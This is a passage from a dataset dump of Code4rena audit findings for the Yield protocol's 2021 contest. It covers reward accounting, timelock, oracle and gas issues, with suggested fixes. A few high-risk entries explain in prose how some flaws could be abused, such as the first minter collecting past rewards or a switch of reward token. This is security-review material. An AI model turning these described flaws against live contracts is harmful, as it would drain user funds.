value", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/57", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact This would be equivalent to [Unipool's `rewardPerToken()` function](https://github.com/k06a/Unipool/blob/master/contracts/Unipool.sol#L69). Note that `rewardsPerToken.accumulated` only reflects the latest stored accumulated value, but does not account for pending accumulation like Unipool, and is therefore not the same. It possibly might be mistaken to be so, hence the low risk classification. ### Recommended Mitigation Steps A possible implementation is given below. ```jsx function latestRewardPerToken() external view returns (uint256) { RewardsPerToken memory rewardsPerToken_ = rewardsPerToken; if (_totalSupply == 0) return rewardsPerToken_.accumulated; uint32 end = earliest(block.timestamp.u32(), rewardsPeriod.end); uint256 timeSinceLastUpdated = end - rewardsPerToken_.lastUpdated; return rewardsPerToken_.accumulated + 1e18 * timeSinceLastUpdated * rewardsPerToken_.rate / _totalSupply; } ``` "}, {"title": "ERC20Rewards.sol: Consider making rewardsToken immutable", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/56", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact While it might seem like a good feature to have, being able to switch reward tokens will only be useful for tokens which are equivalent in value (probably stablecoins, pegged tokens) since it carries over unclaimed rewards from the previous reward program. It would be safer to keep the reward token immutable as a safeguard against violations of this condition. "}, {"title": "Missing check for contract existence", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/55", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Timelock"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Low-level call returns success even if the contract is non-existent. This requires a contract existence check before making the low-level call. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/TimeLock.sol#L93 See: \u201cThe low-level functions\u00a0call,\u00a0delegatecall\u00a0and\u00a0staticcall\u00a0return\u00a0true\u00a0as their first return value if the account called is non-existent, as part of the design of the EVM. Account\u00a0existence\u00a0must be checked prior to calling if needed.\u201d from https://docs.soliditylang.org/en/v0.8.7/control-structures.html#error-handling-assert-require-revert-and-exceptions ## Tools Used Manual Analysis ## Recommended Mitigation Steps Check for target contract existence before call. "}, {"title": "Unused cauldron_ parameter", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/54", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Strategy"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact That cauldron_ parameter is not used here and ladle_.cauldron() is used instead. The Ladle constructor initializes its cauldron value and so the only way this could differ from the parameter is if the argument to this function is specified incorrectly. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/yieldspace/Strategy.sol#L100 https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/yieldspace/Strategy.sol#L106-L107 https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/Ladle.sol#L33 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Either use parameter or remove it in favor of the value from ladle_.cauldron(). "}, {"title": "Multiple solc versions may be allowed", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/53", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-yield-findings", "body": "Multiple solc versions may be allowed"}, {"title": "Missing zero-address checks", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/52", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-yield-findings", "body": "Missing zero-address checks"}, {"title": "Missing emits for events", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/51", "labels": ["bug", "duplicate", "1 (Low Risk)", "sponsor confirmed", "Strategy"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Few events are missing emits which prevents the intended data from being observed easily by off-chain interfaces. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/yieldspace/Strategy.sol#L48-L49 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add emits or remove event declarations. "}, {"title": "Upgrading solc compiler version may help with bug fixes\u2028", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/50", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact solc version 0.8.3 and 0.8.4 fixed important bugs in the compiler. Using version 0.8.1 misses these fixes and may cause a vulnerability. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/token/ERC20Rewards.sol#L2 https://github.com/ethereum/solidity/releases/tag/v0.8.4: Solidity 0.8.4 fixes a bug in the ABI decoder. The release contains an important bugfix. See\u00a0decoding from memory bug\u00a0blog post for more details. https://github.com/ethereum/solidity/releases/tag/v0.8.3: Solidity 0.8.3 is a bugfix release that fixes an important bug about how the optimizer handles the Keccak256 opcode. For details on the bug, please see the\u00a0bug blog post. ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider upgrading to 0.8.3 or 0.8.4 "}, {"title": "Missing input validation to check that end > start", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/49", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact setRewards() is missing input validation on parameters start and end to check if end > start. If accidentally set incorrectly, this will allow resetting new rewards while there is an ongoing one. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/token/ERC20Rewards.sol#L74-L88 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add a require() to check that end > start. "}, {"title": "Check made redundant by following check", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "EmergencyBrake", "Timelock"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The check for array lengths is unnecessary in two places where the following check on txHash will anyway fail if the lengths don\u2019t match with what was hashed earlier during schedule. Removing the length check can save a little gas. Such a require() in cancel() can be removed because if there is a mismatch, the entry lookup in transactions[] will fail anyway and also, this will not be sceduled/executed. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/TimeLock.sol#L70-L72 https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/TimeLock.sol#L81-L85 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Evaluate and remove these checks. "}, {"title": "Redundant check\u2028", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "Oracles"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The require check for decimals_ <= 18 is unnecessary given its set to 18 right above unless this needs to be obtained differently as hinted by the comment. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/oracles/compound/CTokenMultiOracle.sol#L110-L111 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Evaluate check and remove. "}, {"title": "Two functions with same code can be replaced by a single one", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/46", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "Oracles"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact As noted in the code comment, peek and get functions are the same for this oracle. So we can change `peek` to public visibility and have `get` call `peek` instead of copying the same code here. Minor deployment cost savings but increase in readability/maintainability. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/oracles/composite/CompositeMultiOracle.sol#L91 https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/oracles/composite/CompositeMultiOracle.sol#L74-L128 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Replace two functions having the same code with a single function. "}, {"title": "Not using memory data location specifier for external function parameters will save gas", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "EmergencyBrake", "FYTokenFactory"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Function parameters are passed in calldata. For external functions, these are simply read from calldata. But explicitly specifying memory location for such parameters will force their copying to memory resulting in extra bytecode and more gas. Leaving them in calldata will save gas. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/EmergencyBrake.sol#L45-L46 https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/EmergencyBrake.sol#L66-L67 https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/EmergencyBrake.sol#L77-L78 https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/EmergencyBrake.sol#L101-L102 https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/EmergencyBrake.sol#L116-L117 https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/FYTokenFactory.sol#L21-L22 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Do not use memory data location specifier for external function parameters "}, {"title": "Using parameters or local variables instead of state variables in event emits can save gas", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ERC20Rewards", "Timelock"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Event emits where there are equivalent local variables or parameters for state variables can save gas by using those instead of state variables because of the expensive SLOADs. ## Proof of Concept rewardsToken: https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/token/ERC20Rewards.sol#L97 delay: https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/TimeLock.sol#L51 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use parameters or local variables instead of state variables in event emits "}, {"title": "Caching state variable in local variables for repeated reads saves gas by converting expensive SLOADs into much cheaper MLOADs", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ERC20Rewards", "Strategy"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact SLOADs cost 2100 gas for first time reads of state variables and then 100 gas for repeated reads in the context of a transaction (post Berlin fork). MLOADs cost 3 gas units. Therefore, caching state variable in local variables for repeated reads saves gas. ## Proof of Concept Examples of state variables that are read at the lines shown and also later in that same function: rewardsPeriod: https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/token/ERC20Rewards.sol#L80 _totalSupply: https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/token/ERC20Rewards.sol#L107 nextPool: https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/yieldspace/Strategy.sol#L163 ladle: https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/yieldspace/Strategy.sol#L172 base: https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/yieldspace/Strategy.sol#L180 pool (600 gas savings): https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/yieldspace/Strategy.sol#L183 pool: https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/yieldspace/Strategy.sol#L208 cached: https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/yieldspace/Strategy.sol#L262 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider caching state variables in local variables. "}, {"title": "Changing function visibility from public to external saves gas", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ERC20Rewards", "Strategy"], "target": "2021-08-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Public functions need to copy their arguments from calldata to memory resulting in more bytecode and gas consumption. If functions are never called from within the contracts, they can be declared external in which case their parameters are always in calldata without being copied to memory. This results in gas savings. There are many such public functions that don\u2019t appear to be called from within the contract. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/utils/token/ERC20Rewards.sol#L74-L75 https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/yieldspace/Strategy.sol#L100-L101 All functions declared in this range: https://github.com/code-423n4/2021-08-yield/blob/4dc46470e616dd0cbd9db9b4742e36c4d809e02c/contracts/yieldspace/Strategy.sol#L127-L252 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change function visibility from public to external\u2028 "}, {"title": "Storage slot packing impacts gas efficiency\u2028", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "ERC20Rewards", "Strategy"], "target": "2021-08-yield-findings", "body": "Storage slot packing impacts gas efficiency\u2028"}, {"title": "lack of zero address validation in constructor", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/40", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-yield-findings", "body": "lack of zero address validation in constructor"}, {"title": "Gas optimization on `_updateRewardsPerToken` of `ERC20Rewards`", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle shw # Vulnerability details ## Impact The `_updateRewardsPerToken` function of `ERC20Rewards` is called when a token is transferred, minted, or burned. Thus, it could be called multiple times in a single block. Gas optimization is possible by checking if the `end` variable is equal to `rewardsPerToken_.lastUpdated`. If so, the function can return after line 112 since no reward needs to be updated. The early return could avoid writing to the storage (line 117) and thus save gas. ## Proof of Concept Referenced code: [ERC20Rewards.sol#L112](https://github.com/code-423n4/2021-08-yield/blob/main/contracts/utils/token/ERC20Rewards.sol#L112) [ERC20Rewards.sol#L117](https://github.com/code-423n4/2021-08-yield/blob/main/contracts/utils/token/ERC20Rewards.sol#L117) ## Recommended Mitigation Steps Simply return if `end == rewardsPerToken_.lastUpdated` if the `_updateRewardsPerToken` function. "}, {"title": "Exchange rates from Compound are assumed with 18 decimals", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/38", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "Oracles"], "target": "2021-08-yield-findings", "body": "# Handle shw # Vulnerability details ## Impact The `CTokenMultiOracle` contract assumes the exchange rates (borrowing rate) of Compound always have 18 decimals, while, however, which is not true. According to the [Compound documentation](https://compound.finance/docs/ctokens#exchange-rate), the exchange rate returned from the `exchangeRateCurrent` function is scaled by `1 * 10^(18 - 8 + Underlying Token Decimals)` (and so does `exchangeRateStored`). Using a wrong decimal number on the exchange rate could cause incorrect pricing on tokens. ## Proof of Concept Referenced code: [CTokenMultiOracle.sol#L110](https://github.com/code-423n4/2021-08-yield/blob/main/contracts/oracles/compound/CTokenMultiOracle.sol#L110) ## Recommended Mitigation Steps Follow the documentation and get the decimals of the underlying tokens to set the correct decimal of a `Source`. "}, {"title": "Uninitialized `updateTime` variables in `CompositeMultiOracle`", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/37", "labels": ["bug", "duplicate", "1 (Low Risk)", "sponsor confirmed", "disagree with severity", "Oracles"], "target": "2021-08-yield-findings", "body": "# Handle shw # Vulnerability details ## Impact The `peek` and `get` functions of `CompositeMultiOracle` do not initialize the return variable `updateTime`, which is always 0 since the oldest timestamp is chosen and returned. ## Proof of Concept Referenced code: [CompositeMultiOracle.sol#L76](https://github.com/code-423n4/2021-08-yield/blob/main/contracts/oracles/composite/CompositeMultiOracle.sol#L76) [CompositeMultiOracle.sol#L96](https://github.com/code-423n4/2021-08-yield/blob/main/contracts/oracles/composite/CompositeMultiOracle.sol#L96) ## Recommended Mitigation Steps Handle the case when `updateTimeIn` is 0 in the private `_peek` and `_get` functions. If so, simply return `updateTimeOut`. "}, {"title": "Use `safeTransfer` instead of `transfer`", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/36", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle shw # Vulnerability details ## Impact Tokens not compliant with the ERC20 specification could return `false` from the `transfer` function call to indicate the transfer fails, while the calling contract would not notice the failure if the return value is not checked. Checking the return value is a requirement, as written in the [EIP-20](https://eips.ethereum.org/EIPS/eip-20) specification: > Callers MUST handle `false` from `returns (bool success)`. Callers MUST NOT assume that `false` is never returned! ## Proof of Concept Referenced code: [ERC20Rewards.sol#L175](https://github.com/code-423n4/2021-08-yield/blob/main/contracts/utils/token/ERC20Rewards.sol#L175) ## Recommended Mitigation Steps Use the `SafeERC20` library [implementation](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol) from OpenZeppelin and call `safeTransfer` or `safeTransferFrom` when transferring ERC20 tokens. "}, {"title": "Using unlocked/floating pragmas", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-yield-findings", "body": "Using unlocked/floating pragmas"}, {"title": "Gas: `ERC20Rewards._updateRewardsPerToken` return value is not needed", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle cmichel # Vulnerability details The return value is never used and should be removed to save some gas. "}, {"title": "Gas: `TimeLock.setDelay` reads storage variable for event", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/33", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor confirmed", "Timelock"], "target": "2021-08-yield-findings", "body": "# Handle cmichel # Vulnerability details `TimeLock.setDelay` reads storage variable for event which produces an `SLOAD`. It should use `emit DelaySet(_delay)` instead of `emit DelaySet(delay)` "}, {"title": "No ERC20 safe* versions called", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/31", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle cmichel # Vulnerability details The `claim` function performs an ERC20 transfer `rewardsToken.transfer(to, claiming);` but does not check the return value, nor does it work with all legacy tokens. Some tokens (like USDT) don't correctly implement the EIP20 standard and their `transfer`/`transferFrom` function return `void` instead of a success boolean. Calling these functions with the correct EIP20 function signatures will always revert. The `ERC20.transfer()` and `ERC20.transferFrom()` functions return a boolean value indicating success. This parameter needs to be checked for success. Some tokens do **not** revert if the transfer failed but return `false` instead. ## Impact Tokens that don't actually perform the transfer and return `false` are still counted as a correct transfer and tokens that don't correctly implement the latest EIP20 spec, like USDT, will be unusable in the protocol as they revert the transaction because of the missing return value. ## Recommended Mitigation Steps We recommend using OpenZeppelin\u2019s `SafeERC20` versions with the `safeTransfer` and `safeTransferFrom` functions that handle the return value check as well as non-standard-compliant tokens. "}, {"title": "ERC20Rewards claiming can fail if no reward tokens", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/30", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "ERC20Rewards claiming can fail if no reward tokens"}, {"title": "ERC20Rewards breaks when setting a different token", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/29", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle cmichel # Vulnerability details The `setRewards` function allows setting a different token. Holders of a previous reward period cannot all be paid out and will receive **their old reward amount** in the new token. This leads to issues when the new token is more (less) valuable, or uses different decimals. **Example:** Assume the first reward period paid out in `DAI` which has 18 decimals. Someone would have received `1.0 DAI = 1e18 DAI` if they called `claim` now. Instead, they wait until the new period starts with `USDC` (using only 6 decimals) and can `claim` their `1e18` reward amount in USDC which would equal `1e12 USDC`, one trillion USD. ## Impact Changing the reward token only works if old and new tokens use the same decimals and have the exact same value. Otherwise, users that claim too late/early will lose out. ## Recommended Mitigation Steps Disallow changing the reward token, or clear user's pending rewards of the old token. The second approach requires more code changes and keeping track of what token a user last claimed. "}, {"title": "ERC20Rewards returns wrong rewards if no tokens initially exist", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/28", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "# Handle cmichel # Vulnerability details The `ERC20Rewards._updateRewardsPerToken` function exits without updating `rewardsPerToken_.lastUpdated` if `totalSupply` is zero, i.e., if there are no tokens initially. This leads to an error if there is an active rewards period but not tokens have been minted yet. **Example:** `rewardsPeriod.start: 1 month ago`, `rewardsPeriod.end: in 1 month`, `totalSupply == 0`. The first mint leads to the user (mintee) receiving all rewards for the past period (50% of the total rewards in this case). - `_mint` is called, calls `_updateRewardsPerToken` which short-circuits. `rewardsPerToken.lastUpdated` is still set to `rewardsPeriod.start` from the constructor. Then `_updateUserRewards` is called and does not currently yield any rewards. (because both balance and the index diff are zero). User is now minted the tokens, `totalSupply` increases and user balance is set. - User performs a `claim`: `_updateRewardsPerToken` is called and `timeSinceLastUpdated = end - rewardsPerToken_.lastUpdated = block.timestamp - rewardsPeriod.start = 1 month`. Contract \"issues\" rewards for the past month. The first mintee receives all of it. ## Impact The first mintee receives all pending rewards when they should not receive any past rewards. This can easily happen if the token is new, the reward period has already been initialized and is running, but the protocol has not officially launched yet. Note that `setRewards` also allows setting a date in the past which would also be fatal in this case. ## Recommended Mitigation Steps The `rewardsPerToken_.lastUpdated` field must always be updated in `_updateRewardsPerToken` to the current time (or `end`) even if `_totalSupply == 0`. Don't return early. "}, {"title": "TimeLock cannot schedule the same calls multiple times", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/27", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "Timelock"], "target": "2021-08-yield-findings", "body": "# Handle cmichel # Vulnerability details The `TimeLock.schedule` function reverts if the same `targets` and `data` fields are used as the `txHash` will be the same. This means one cannot schedule the same transactions multiple times. ## Impact Imagine the delay is set to 30 days, but a contractor needs to be paid every 2 weeks. One needs to wait 30 days before scheduling the second payment to them. ## Recommended Mitigation Steps Also include `eta` in the hash. (Compound's Timelock does it as well.) This way the same transaction data can be used by specifying a different `eta`. "}, {"title": "CompositeMultiOracle returns wrong decimals for prices?", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/26", "labels": ["bug", "3 (High Risk)", "Oracles"], "target": "2021-08-yield-findings", "body": "CompositeMultiOracle returns wrong decimals for prices?"}, {"title": "The `Strategy.Divest` event is not fired", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/25", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Strategy"], "target": "2021-08-yield-findings", "body": "# Handle cmichel # Vulnerability details The `Strategy.Divest` event is not fired. ## Impact Off-chain scripts that rely on this event won't work. ## Recommended Mitigation Steps Emit this event in `endPool`. "}, {"title": "The `Strategy.Invest` event is not fired", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/24", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Strategy"], "target": "2021-08-yield-findings", "body": "# Handle cmichel # Vulnerability details The `Strategy.Invest` event is not fired. ## Impact Off-chain scripts that rely on this event won't work. ## Recommended Mitigation Steps Emit this event in `startPool`. "}, {"title": "`_peek` does not work for tokens with > 18 decimals", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/23", "labels": ["bug", "1 (Low Risk)", "Oracles"], "target": "2021-08-yield-findings", "body": "`_peek` does not work for tokens with > 18 decimals"}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/22", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-yield-findings", "body": "Missing parameter validation"}, {"title": "EmergencyBrake.sol: Permissions cannot be re-planned after termination", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/21", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "EmergencyBrake"], "target": "2021-08-yield-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact Given a configuration of target, contacts and permissions, calling `terminate()` will permanently prevent this configuration from being used again because the state becomes `State.TERMINATED`. All other functions require the configuration to be in the other states (UNKNOWN, PLANNED, or EXECUTED). In other words, the removal of the restoring option for the configuration through `EmergencyBrake` is permanent. ### Recommended Mitigation Steps Since `EmergencyBrake` cannot reinstate permissions after termination, it would be better to have terminate change its state to UNKNOWN. The TERMINATED state can therefore be removed. "}, {"title": "Unchecked return value from transfer()", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/20", "labels": ["bug", "duplicate", "2 (Med Risk)", "ERC20Rewards"], "target": "2021-08-yield-findings", "body": "Unchecked return value from transfer()"}, {"title": "Incorrect type of uint parameter is used in event ", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/19", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-yield-findings", "body": "Incorrect type of uint parameter is used in event "}, {"title": "Different definition of beforeMaturity() and afterMaturity() modifier in different file", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/18", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "Strategy"], "target": "2021-08-yield-findings", "body": "Different definition of beforeMaturity() and afterMaturity() modifier in different file"}, {"title": "Floating Pragma", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/17", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-yield-findings", "body": "Floating Pragma"}, {"title": "CompositeMultiOracle.sol - bases.length in setSources() and setPaths() can be stored in a variable", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "Oracles"], "target": "2021-08-yield-findings", "body": "# Handle PierrickGT # Vulnerability details ## Impact In the external functions `setSources` and `setPaths` of `CompositeMultiOracle.sol`, we call `bases.length` three times. This value can be stored in a variable to avoid two sload. Also, `uint256 i = 0;` can be refactored to `uint256 i;` since `uint256` initializes with a value of `0` by default. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L39-L46 https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L60-L67 ## Recommended Mitigation Steps Store `bases.length` in a variable and declare `i` with the default value: ``` uint256 basesLength = bases.length; require( basesLength == quotes.length && basesLength == sources_.length, \"Mismatched inputs\" ); for (uint256 i; i < basesLength; i++) { _setSource(bases[i], quotes[i], sources_[i]); } ``` ``` uint256 basesLength = bases.length; require( basesLength == quotes.length && basesLength == paths_.length, \"Mismatched inputs\" ); for (uint256 i; i < basesLength; i++) { _setPath(bases[i], quotes[i], paths_[i]); } ``` "}, {"title": "CompositeMultiOracle.sol - Add natspec documentation", "html_url": "https://github.com/code-423n4/2021-08-yield-findings/issues/15", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "Oracles"], "target": "2021-08-yield-findings", "body": "# Handle PierrickGT # Vulnerability details ## Impact In `CompositeMultiOracle.sol`, internal functions, event, struct, public constant and mapping are not documented. Functions parameters and return values should also be documented for external functions. Natspec documentation should also be added to describe what this contract is all about. ## Proof of Concept https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L79-L81 https://github.com/code-423n4/2021-08-yield/blob/1383f6a715657547603cddd0fed824cde631c7db/contracts/oracles/compound/CTokenMultiOracle.sol#L97-L99 ## Recommended Mitigation Steps Add natspec documentation to describe the contract and not just his title: - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L11-L12 Add natspec documentation for the following code: - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L15 - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L17-L18 - https://github.com/code-423n4/2021-08-yield/blob/e4227756bd2b74d683525d61f0636bed64325955/contracts/oracles/composite/CompositeMultiOracle.sol#L20 - 